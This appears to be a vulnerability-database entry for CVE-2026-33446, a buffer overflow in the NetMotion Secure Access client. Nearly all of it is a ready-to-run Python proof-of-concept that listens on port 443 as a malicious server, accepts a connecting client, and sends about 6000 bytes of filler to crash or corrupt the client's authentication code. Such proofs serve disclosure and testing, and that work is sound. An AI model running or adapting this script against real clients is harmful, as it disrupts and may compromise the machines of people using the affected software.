CVE-2026-33446 Secure Access客户端缓冲区溢出漏洞

import socket # PoC for CVE-2026-33446 # Description: Simulates a malicious server sending a crafted packet to trigger buffer overflow. # Target: NetMotion Secure Access Client < 14.50 TARGET_IP = '0.0.0.0' # Listening interface TARGET_PORT = 443 # Common service port def exploit_simulation(): # Create a malicious socket listener server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((TARGET_IP, TARGET_PORT)) server.listen(1) print(f"[*] Listening for victims on {TARGET_IP}:{TARGET_PORT}...") conn, addr = server.accept() print(f"[*] Connection established from: {addr}") # Wait for initial client handshake (simplified) # conn.recv(1024) # Construct malicious payload # Sending a large pattern to trigger the buffer overflow in the auth subsystem payload = b'A' * 6000 + b'\x00' * 100 print("[*] Sending malicious payload...") conn.send(payload) print("[*] Payload sent. Check client for crash/corruption.") conn.close() server.close() if __name__ == "__main__": exploit_simulation()